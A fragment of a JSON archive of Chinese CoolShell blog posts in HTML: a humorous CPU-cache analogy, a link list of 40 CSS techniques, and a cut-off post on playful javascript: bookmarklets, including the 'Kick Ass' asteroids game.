href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3231.html\">你和你的工作</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-27 给老婆普及计算机知识.html",
    "content": "<html><body><p>我们知道计算机的计算数据需要从磁盘调度到内存，然后再调度到L2 Cache，再到L1 Cache，最后进CPU寄存器进行计算。</p>\n<p>给老婆在电脑城买本本的时候向电脑推销人员问到这些参数，老婆听不懂，让我给她解释，解释完后，老婆说，“原来电脑内部这么麻烦，怪不得电脑总是那么慢，直接操作内存不就快啦”。我是那个汗啊。</p>\n<p>我只得向她解释，这样做是为了更快速的处理，她不解，于是我打了下面这个比喻——这就像我们喂宝宝吃奶一样，</p>\n<ul>\n<li>CPU就像是已经在宝宝嘴里的奶一样，直接可以咽下去了。需要1秒钟</li>\n</ul>\n<ul>\n<li>L1缓存就像是已冲好的放在奶瓶里的奶一样，只要把孩子抱起来才能喂到嘴里。需要5秒钟。</li>\n</ul>\n<ul>\n<li>L2缓存就像是家里的奶粉一样，还需要先热水冲奶，然后把孩子抱起来喂进去。需要2分钟。</li>\n</ul>\n<ul>\n<li>内存RAM就像是各个超市里的奶粉一样，这些超市在城市的各个角落，有的远，有的近，你先要寻址，然后还要去商店上门才能得到。需要1-2小时。</li>\n</ul>\n<ul>\n<li>硬盘DISK就像是仓库，可能在很远的郊区甚至工厂仓库。需要大卡车走高速公路才能运到城市里。需要2-10天。</li>\n</ul>\n<p>所以，在这样的情况下——</p>\n<p><span id=\"more-3236\"></span></p>\n<ul>\n<li>我们不可能在家里不存放奶粉。试想如果得到孩子饿了，再去超市买，这不更慢吗？</li>\n</ul>\n<ul>\n<li>我们不可以把所有的奶粉都冲好放在奶瓶里，因为奶瓶不够。也不可能把超市里的奶粉都放到家里，因为房价太贵，这么大的房子不可能买得起。</li>\n</ul>\n<ul>\n<li>我们不可能把所有的仓库里的东西都放在超市里，因为这样干成本太大。而如果超市的货架上正好卖完了，就需要从库房甚至厂商工厂里调，这在计算里叫换页，相当的慢。</li>\n</ul>\n<p>我讲完后，老婆看似有些明白了，然后对我说，“明白了，我就说最近衣服有点跟不上，原来是L1（衣柜）里的衣服跟不上了，老公什么时候去买衣服啊……”。我晕！</p>\n<p>（以上故事，完全是我的亲身经历）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3589.html\"><img alt=\"食客还是大厨\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2574.html\"><img alt=\"如何在低速率网络中测试 Web 应用\" height=\"150\" src=\"../wp-content/uploads/2010/07/Firefox-Throttle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2574.html\">如何在低速率网络中测试 Web 应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19464.html\"><img alt=\"如何超过大多数人\" height=\"150\" src=\"../wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/595.html\"><img alt=\"Oracle成功收购Sun\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3236.html\">给老婆普及计算机知识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-8 40个很不错的CSS技术.html",
    "content": "<html><body><p>以前发布过《<a href=\"https://coolshell.cn/articles/562.html\" target=\"_blank\" title=\"30种时尚的CSS网站导航条 \">30种时尚的CSS网站导航条</a>》，下面是40个CSS的技术，可以让你的网页有更好的用户体验。希望你喜欢</p>\n<h4>1. <a href=\"http://veerle.duoh.com/blog/comments/a_css_styled_table_version_2/\">A CSS styled table version 2</a></h4>\n<p><a href=\"http://veerle.duoh.com/blog/comments/a_css_styled_table_version_2/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5088\" height=\"170\" src=\"../wp-content/uploads/2010/09/1css46.png\" title=\"1css46\" width=\"485\"/></a></p>\n<h4>2.<a href=\"http://nidahas.com/2006/12/06/forms-markup-and-css-revisited/\"> A CSS-based Form Template</a></h4>\n<p><a href=\"http://nidahas.com/2006/12/06/forms-markup-and-css-revisited/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5089\" height=\"180\" src=\"../wp-content/uploads/2010/09/2-css_based_form_template.gif\" title=\"2 css_based_form_template\" width=\"450\"/></a></p>\n<p><span id=\"more-3063\"></span></p>\n<h4>3. <a href=\"http://www.wpdfd.com/issues/82/list_style_inspiration/\">A Stripe of List Style Inspiration</a></h4>\n<p><a href=\"http://www.wpdfd.com/issues/82/list_style_inspiration/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5090\" height=\"204\" src=\"../wp-content/uploads/2010/09/3list-style.png\" title=\"3list-style\" width=\"400\"/></a></p>\n<h4>4. <a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\">Accessible expanding and collapsing menu</a></h4>\n<p><a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5091\" height=\"173\" src=\"../wp-content/uploads/2010/09/4.gif\" title=\"4\" width=\"416\"/></a></p>\n<h4>5. <a href=\"http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/\">Advanced CSS Menu Trick</a></h4>\n<p><a href=\"http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5092\" height=\"176\" src=\"../wp-content/uploads/2010/09/5css.png\" title=\"5css\" width=\"491\"/></a></p>\n<h4>6. <a href=\"http://www.pmob.co.uk/pob/animated.htm\">Animated Rollover Arrow</a></h4>\n<p><a href=\"http://www.pmob.co.uk/pob/animated.htm\"><img alt=\"\" class=\"aligncenter size-full wp-image-5093\" height=\"180\" src=\"../wp-content/uploads/2010/09/6animated_roll_over.jpg\" title=\"6animated_roll_over\" width=\"450\"/></a></p>\n<h4>7. <a href=\"http://i.imgur.com/dYFBl.png\">Animations</a></h4>\n<p><a href=\"http://i.imgur.com/dYFBl.png\"><img alt=\"\" class=\"aligncenter size-large wp-image-5094\" height=\"203\" src=\"../wp-content/uploads/2010/09/7animation-580x203.jpg\" title=\"7animation\" width=\"580\"/></a></p>\n<h4>8. <a href=\"http://i.imgur.com/OcbHO.png\">Background Size</a></h4>\n<p><a href=\"http://i.imgur.com/OcbHO.png\"><img alt=\"\" class=\"aligncenter size-large wp-image-5095\" height=\"203\" src=\"../wp-content/uploads/2010/09/8bgsize-580x203.jpg\" title=\"8bgsize\" width=\"580\"/></a></p>\n<h4>9. <a href=\"http://css-tricks.com/better-ordered-lists-using-simple-php-and-css/\">Better Ordered Lists</a> (Using Simple PHP and CSS)</h4>\n<p><a href=\"http://css-tricks.com/better-ordered-lists-using-simple-php-and-css/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5096\" height=\"170\" src=\"../wp-content/uploads/2010/09/9css.png\" title=\"9css\" width=\"485\"/></a></p>\n<h4>10. <a href=\"http://i.imgur.com/e5VlA.png\">Box Shadow</a></h4>\n<p><a href=\"http://i.imgur.com/e5VlA.png\"><img alt=\"\" class=\"aligncenter size-large wp-image-5097\" height=\"203\" src=\"../wp-content/uploads/2010/09/10shadow-580x203.jpg\" title=\"10shadow\" width=\"580\"/></a></p>\n<h4>11. <a href=\"http://www.askthecssguy.com/2007/08/creating_a_table_with_dynamica.html\">Creating a table with dynamically highlighted columns</a></h4>\n<p><a href=\"http://www.askthecssguy.com/2007/08/creating_a_table_with_dynamica.html\"><img alt=\"\" class=\"aligncenter size-full wp-image-5098\" height=\"170\" src=\"../wp-content/uploads/2010/09/11.png\" title=\"11\" width=\"485\"/></a></p>\n<h4>12. <a href=\"http://www.456bereastreet.com/archive/200705/creating_bulletproof_graphic_link_buttons_with_css/\">Creating bulletproof graphic link buttons with CSS | 456 Berea Street</a></h4>\n<p><a href=\"http://www.456bereastreet.com/archive/200705/creating_bulletproof_graphic_link_buttons_with_css/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5099\" height=\"170\" src=\"../wp-content/uploads/2010/09/12css.png\" title=\"12css\" width=\"485\"/></a></p>\n<h4>13. <a href=\"http://www.cssnewbie.com/12-creative-and-cool-uses-for-the-css-border-property/\">Creative and Cool Uses of the CSS Border Property</a></h4>\n<p><a href=\"http://www.cssnewbie.com/12-creative-and-cool-uses-for-the-css-border-property/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5100\" height=\"189\" src=\"../wp-content/uploads/2010/09/13CSS-Border-Property.jpg\" title=\"13CSS-Border-Property\" width=\"537\"/></a></p>\n<h4>14. <a href=\"http://www.digital-web.com/articles/web_standards_creativity_png/\">Creative Use of PNG Transparency in Web Design</a></h4>\n<p><a href=\"http://www.digital-web.com/articles/web_standards_creativity_png/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5101\" height=\"170\" src=\"../wp-content/uploads/2010/09/14css02.png\" title=\"14css02\" width=\"485\"/></a></p>\n<h4>15. <a href=\"http://www.cssplay.co.uk/menu/slide_show\">Cross Browser CSS SlideShow</a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/slide_show\"><img alt=\"\" class=\"aligncenter size-large wp-image-5102\" height=\"384\" src=\"../wp-content/uploads/2010/09/15cross-browser-slide-show-580x384.jpg\" title=\"15cross-browser-slide-show\" width=\"580\"/></a></p>\n<h4>16. <a href=\"http://www.cssplay.co.uk/menu/lightbox.html#Portraits\">Cross Browser Multi-Page Photograph Gallery</a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/lightbox.html#Portraits\"><img alt=\"\" class=\"aligncenter size-full wp-image-5103\" height=\"180\" src=\"../wp-content/uploads/2010/09/16_cross_browser_image_galler.jpg\" title=\"16_cross_browser_image_galler\" width=\"450\"/></a></p>\n<h4>17. <a href=\"http://applestooranges.com/blog/post/css-for-bar-graphs/?id=55\">CSS Bar Graphs: Examples</a></h4>\n<p><a href=\"http://applestooranges.com/blog/post/css-for-bar-graphs/?id=55\"><img alt=\"\" class=\"aligncenter size-full wp-image-5104\" height=\"180\" src=\"../wp-content/uploads/2010/09/17_css_bar_graph_example.jpg\" title=\"17_css_bar_graph_example\" width=\"450\"/></a></p>\n<h4>18. <a href=\"http://www.nundroo.com/navigation/\">CSS Based Navigation</a></h4>\n<p><a href=\"http://www.nundroo.com/navigation/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5105\" height=\"170\" src=\"../wp-content/uploads/2010/09/18-css-techniques0000.gif\" title=\"18 css-techniques0000\" width=\"485\"/></a></p>\n<h4>19. <a href=\"http://storage.couchfort.net/cssCurves/\">CSS Curves</a></h4>\n<p><a href=\"http://storage.couchfort.net/cssCurves/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5106\" height=\"170\" src=\"../wp-content/uploads/2010/09/19css-techniques0014.gif\" title=\"19css-techniques0014\" width=\"485\"/></a></p>\n<h4>20. <a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\">CSS Dock Menu</a></h4>\n<p><a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\"><img alt=\"\" class=\"aligncenter size-full wp-image-5107\" height=\"170\" src=\"../wp-content/uploads/2010/09/20.png\" title=\"20\" width=\"485\"/></a></p>\n<h4>21. <a href=\"http://mikecherim.com/experiments/css_double_lists.php\">CSS Double Lists</a></h4>\n<p><a href=\"http://mikecherim.com/experiments/css_double_lists.php\"><img alt=\"\" class=\"aligncenter size-full wp-image-5108\" height=\"170\" src=\"../wp-content/uploads/2010/09/21css37.png\" title=\"21css37\" width=\"485\"/></a></p>\n<h4>22. <a href=\"http://www.smashingmagazine.com/2006/12/29/css-based-tables-modern-solutions/\">CSS-Based Tables: Technique</a></h4>\n<p><a href=\"http://www.smashingmagazine.com/2006/12/29/css-based-tables-modern-solutions/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5109\" height=\"170\" src=\"../wp-content/uploads/2010/09/22css-techniques0025.gif\" title=\"22css-techniques0025\" width=\"485\"/></a></p>\n<h4>23. <a href=\"http://www.webdesignerwall.com/tutorials/css-gradient-text-effect/\">CSS Gradient Text Effect</a></h4>\n<p><a href=\"http://www.webdesignerwall.com/tutorials/css-gradient-text-effect/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5110\" height=\"180\" src=\"../wp-content/uploads/2010/09/23_css_text_gradient.jpg\" title=\"23_css_text_gradient\" width=\"450\"/></a></p>\n<h4>24. <a href=\"http://mikecherim.com/gbcms_xml/news_page.php?id=24#n24\">CSS List Boxes</a></h4>\n<p><a href=\"http://mikecherim.com/gbcms_xml/news_page.php?id=24#n24\"><img alt=\"\" class=\"aligncenter size-full wp-image-5111\" height=\"113\" src=\"../wp-content/uploads/2010/09/24listboxes.jpg\" title=\"24listboxes\" width=\"500\"/></a></p>\n<h4>25. <a href=\"http://mikecherim.com/experiments/css_map_pop.php\">CSS Map Pop</a></h4>\n<p><a href=\"http://mikecherim.com/experiments/css_map_pop.php\"><img alt=\"\" class=\"aligncenter size-full wp-image-5112\" height=\"170\" src=\"../wp-content/uploads/2010/09/25css-techniques0021.gif\" title=\"25css-techniques0021\" width=\"485\"/></a></p>\n<h4>26. <a href=\"http://www.askthecssguy.com/2007/09/sangeeta_asks_the_css_guy_how_1.html\">CSS Pricing Matrix</a></h4>\n<p><a href=\"http://www.askthecssguy.com/2007/09/sangeeta_asks_the_css_guy_how_1.html\"><img alt=\"\" class=\"aligncenter size-full wp-image-5113\" height=\"156\" src=\"../wp-content/uploads/2010/09/26csspricingmatrix.png\" title=\"26csspricingmatrix\" width=\"438\"/></a></p>\n<h4>27. <a href=\"http://24ways.org/2006/css-production-notes\">CSS Production Notes</a></h4>\n<p><a href=\"http://24ways.org/2006/css-production-notes\"><img alt=\"\" class=\"aligncenter size-full wp-image-5114\" height=\"170\" src=\"../wp-content/uploads/2010/09/27.gif\" title=\"27\" width=\"485\"/></a></p>\n<h4>28. <a href=\"http://www.designmeme.com/articles/csspullquotes/\">CSS Pull Quotes</a></h4>\n<p><a href=\"http://www.designmeme.com/articles/csspullquotes/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5115\" height=\"170\" src=\"../wp-content/uploads/2010/09/28css36.png\" title=\"28css36\" width=\"485\"/></a></p>\n<h4>29. <a href=\"http://www.smileycat.com/miaow/archives/000044.php#nojavascript\">CSS Rounded Corners Roundup</a> (Nifty Corners)</h4>\n<p><a href=\"http://www.smileycat.com/miaow/archives/000044.php#nojavascript\"><img alt=\"\" class=\"aligncenter size-full wp-image-5116\" height=\"170\" src=\"../wp-content/uploads/2010/09/29css-techniques0008.gif\" title=\"29css-techniques0008\" width=\"485\"/></a></p>\n<h4>30. <a href=\"http://wordpress.betech.virginia.edu/index.php/2007/10/03/css-sitemap/\">CSS SiteMap</a></h4>\n<p><a href=\"http://wordpress.betech.virginia.edu/index.php/2007/10/03/css-sitemap/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5117\" height=\"170\" src=\"../wp-content/uploads/2010/09/30css42.png\" title=\"30css42\" width=\"485\"/></a></p>\n<h4>31. <a href=\"http://www.willmayo.com/2007/02/10/css-speech-bubbles/\">CSS Speech Bubbles</a></h4>\n<p><a href=\"http://www.willmayo.com/2007/02/10/css-speech-bubbles/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5118\" height=\"170\" src=\"../wp-content/uploads/2010/09/31best-of-february-03.png\" title=\"31best-of-february-03\" width=\"485\"/></a></p>\n<h4>32. <a href=\"http://www.thewojogroup.com/2008/12/css-stacked-bar-graphs/\">CSS Stacked Bar Graphs</a></h4>\n<p><a href=\"http://www.thewojogroup.com/2008/12/css-stacked-bar-graphs/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5119\" height=\"305\" src=\"../wp-content/uploads/2010/09/32stacked-bar-graph.jpg\" title=\"32stacked-bar-graph\" width=\"444\"/></a></p>\n<h4>33. <a href=\"http://codylindley.com/CSS/325/css-step-menu\">CSS Step Menu</a></h4>\n<p><a href=\"http://codylindley.com/CSS/325/css-step-menu\"><img alt=\"\" class=\"aligncenter size-full wp-image-5120\" height=\"170\" src=\"../wp-content/uploads/2010/09/33css52.png\" title=\"33css52\" width=\"485\"/></a></p>\n<h4>34. <a href=\"http://exploding-boy.com/images/cssmenus/menus.html\">CSS Tabs</a></h4>\n<p><a href=\"http://exploding-boy.com/images/cssmenus/menus.html\"><img alt=\"\" class=\"aligncenter size-full wp-image-5121\" height=\"170\" src=\"../wp-content/uploads/2010/09/34css-techniques0002.gif\" title=\"34css-techniques0002\" width=\"485\"/></a></p>\n<h4>35. <a href=\"http://www.456bereastreet.com/lab/teaser/\">CSS Teaser Box</a></h4>\n<p><a href=\"http://www.456bereastreet.com/lab/teaser/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5122\" height=\"170\" src=\"../wp-content/uploads/2010/09/35css-techniques0029.gif\" title=\"35css-techniques0029\" width=\"485\"/></a></p>\n<h4>36. <a href=\"http://www.deltatangobravo.com/images/zoom/\">CSS Zooming</a></h4>\n<p><a href=\"http://www.deltatangobravo.com/images/zoom/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5123\" height=\"170\" src=\"../wp-content/uploads/2010/09/36css-techniques0032.gif\" title=\"36css-techniques0032\" width=\"485\"/></a></p>\n<h4>37. <a href=\"http://mikecherim.com/experiments/css_menu_descriptions.php#\">CSS: Menu Descriptions</a></h4>\n<p><a href=\"http://mikecherim.com/experiments/css_menu_descriptions.php#\"><img alt=\"\" class=\"aligncenter size-full wp-image-5124\" height=\"170\" src=\"../wp-content/uploads/2010/09/37css61.png\" title=\"37css61\" width=\"485\"/></a></p>\n<h4>38. <a href=\"http://www.smashingmagazine.com/2006/11/11/css-based-forms-modern-solutions/\">CSS-Based Forms: Techniques</a></h4>\n<p><a href=\"http://www.smashingmagazine.com/2006/11/11/css-based-forms-modern-solutions/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5125\" height=\"170\" src=\"../wp-content/uploads/2010/09/38css-techniques0024.gif\" title=\"38css-techniques0024\" width=\"485\"/></a></p>\n<h4>39. <a href=\"http://css-tricks.com/date-display-with-sprites/\">Date Display Technique with Sprites</a></h4>\n<p><a href=\"http://css-tricks.com/date-display-with-sprites/\"><img alt=\"\" class=\"aligncenter size-full wp-image-5126\" height=\"165\" src=\"../wp-content/uploads/2010/09/39Display-Date-Using-Sprites.png\" title=\"39Display-Date-Using-Sprites\" width=\"417\"/></a></p>\n<h4>40. <a href=\"http://www.barenakedapp.com/the-design/displaying-percentages\">Displaying Percentages with CSS</a></h4>\n<p><a href=\"http://www.barenakedapp.com/the-design/displaying-percentages\"><img alt=\"\" class=\"aligncenter size-full wp-image-5127\" height=\"170\" src=\"../wp-content/uploads/2010/09/40css-techniques0036.gif\" title=\"40css-techniques0036\" width=\"485\"/></a></p>\n<p>文章来源：<a href=\"http://technologytosoftware.com/best-css-techniques-you-shouldt-miss-for-effective-coding.html\" target=\"_blank\">http://technologytosoftware.com/best-css-techniques-you-shouldt-miss-for-effective-coding.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-8 Kick Ass小游戏.html",
    "content": "<html><body><p>还记得以前那个在IE的已打开的网页上的网址里输入一段javascript的代码后，你会发现这个页面里所有的图片元素都动了起来：（只能在IE浏览器里，Chrome和Firefox无效）</p>\n<blockquote><p>javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position=’absolute’; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval(‘A()’,5); void(0);</p></blockquote>\n<p>很类似一个叫Erik Rothoff Andersson的人又搞了<a href=\"http://erkie.github.com/\" target=\"_blank\">Kick Ass的游戏</a>，代码如下：（用了一个js文件，所以就显得没有那么复杂了，但只能在Chrome和Firefox下有用）</p>\n<blockquote><p>javascript:var s=document.createElement(‘script’); s.type=’text/javascript’;document.body.appendChild(s); s.src=’http://erkie.github.com/asteroids.min.js’;void(0);</p></blockquote>\n<p>在已打开的网页上输入这段代码，你会发现网页的左上角上出现了一个三角形，然后，你可以开始使用</p>\n<ul>\n<li>“左右方向键控制方向”，</li>\n<li>“上方向键控制前进”，</li>\n<li>“空格射击”，</li>\n<li>“B键查看有什么东西可以被射击”，</li>\n<li>“Esc键退出”，</li>\n</ul>\n<p>于是就出现好玩的东西了。</p>\n<p>为了方便你试验，你可以点击上面的这个链接，</p>\n<p style=\"text-align: center;\"><span style=\"font-size: large;\"><a href=\"\"><strong>Kiss Ass</strong></a></span></p>\n<p>你可以把这个链接加入收藏夹，当你需要删除某些网页上的广告或是很让你不爽的东西时，打开这个网址，就可以开始了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" 